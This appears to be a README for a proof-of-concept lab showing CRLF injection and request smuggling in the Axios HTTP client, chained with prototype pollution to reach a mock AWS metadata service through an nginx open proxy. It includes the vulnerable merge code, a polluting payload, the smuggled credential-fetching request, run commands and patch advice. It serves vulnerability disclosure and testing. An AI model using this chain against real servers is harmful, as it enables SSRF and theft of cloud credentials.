
Proof-of-concept demonstrating CRLF injection and HTTP request smuggling in Axios, chaining prototype pollution to achieve SSRF and access internal services like IMDS.
A CRLF injection vulnerability caused by AxiosHeaders.set() in the Axios HTTP client (>=1.0.0 <1.15.0, <0.31.0) failing to validate \r\n within header values.
An attacker can chain this with Prototype Pollution (lodash, qs, etc.) or directly inject CRLF into headers, enabling SSRF to arbitrary internal servers through an intermediate layer such as an nginx open proxy.
| Item | Details |
|---|
| CVSS | 9.9 (Critical) |
| Affected Versions | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Patched Versions | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ Removes only trailing CRLF with /[\r\n]+$/
↑ \r\n in the middle of the value passes through unchanged
As a result, inserting \r\n\r\nGET /admin HTTP/1.1\r\n... into a header value embeds a second HTTP request directly into the TCP stream.
Every object in JavaScript inherits from Object.prototype. Prototype Pollution is an attack that pollutes this shared prototype itself, affecting all objects created afterward.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← exists without ever being declared
It occurs when a vulnerable recursive merge function (lodash < 4.17.21, qs, etc.) does not specially handle the "__proto__" key.
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// When key = "__proto__":
// target["__proto__"] → returns Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → injects properties directly into Object.prototype
} else {
target[key] = source[key];
}
}
}
// Attacker JSON: __proto__ is parsed as an own property
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← pollution successful
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
App code: const opts = {};
opts.headers → prototype chain → returns polluted object
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← no CRLF validation
↓
Smuggled request included in the TCP stream
Polluting Object.prototype.headers also affects axios's internal schema objects.
When assertOptions(config, schema) is called
schema['headers'] → prototype chain → returns polluted object
validator(value) → calls object as a function → TypeError
In a real attack, the pollution scope must be precisely controlled; widespread pollution can crash the application itself before the intended attack (DoS side effect).
[1] Direct header injection or Prototype Pollution (via vulnerable merge library)
↓
[2] Axios serializes the CRLF-containing value as a header without validation
↓
[3] Written to the TCP stream via raw net.Socket
(Node.js's default http module blocks this at runtime → custom adapter required)
↓
[4] nginx (proxy_pass http://$http_host) parses it as two separate requests
↓
[5] The smuggled request is routed to a different upstream based on its Host header (SSRF)
↓
[6] Access to internal servers (IMDS, etc.) → credential theft
| Condition | Details |
|---|---|
| Bypass Node.js http module | Use a custom adapter based on net.Socket |
| nginx open proxy | proxy_pass http://$http_host configuration |
ignore_invalid_headers on | Allows malformed headers |
resolver directive | Enables dynamic hostname resolution |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| Port | Service | Role |
|---|---|---|
| 3001 | backend | Receives HTTP requests / logs headers |
| 3003 | backend | Static server for exploit.html |
| 3004 | backend | Relay — converts browser POST → net.Socket |
| 8080 | nginx | Open proxy (proxy_pass http://$http_host) |
| 80 (internal) | imds | AWS IMDSv2 mock server |
# Build and start all containers
docker compose up --build
# Run Node.js tests (from the host)
npm install
# 1. Direct to backend — CRLF injection produces 2 requests
node poc/test-axios-adapter-backend.js
# 2. Via nginx — smuggled request is routed to backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF chain
node poc/test-prototype-pollution.js
# 4. Browser — http://localhost:3003
# Select target: direct backend / via nginx / nginx → IMDS (SSRF)
1. Select nginx → IMDS and run the Custom Adapter
2. Smuggled request: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx routes to host=imds → forwarded to the IMDSv2 mock server
4. imds container log: [!!!] Credential theft successful!
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay container
├── Dockerfile.imds # IMDSv2 mock container
├── package.json # [email protected] (vulnerable version pinned)
└── poc/
├── backend-server.js # HTTP server (3001), relay (3004), static server (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials)
├── nginx-container.conf # open proxy configuration
├── exploit.html # browser PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend directly
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # standard axios (to confirm Node.js blocking)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection chain
resolver 127.0.0.11 valid=30s; # Docker internal DNS
location / {
proxy_pass http://$http_host; # dynamic routing based on Host header = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # fixed upstream for legitimate requests
}
Since $http_host (including the port) is used as the upstream, the Host header of the smuggled request becomes the routing destination.
npm install axios@^1.15.0
The patch (1.15.0) introduces assertValidHeaderValue() to immediately reject values containing CR/LF.
Additional defenses:
proxy_pass http://$http_host in nginx → use fixed upstreamsHttpTokens: required)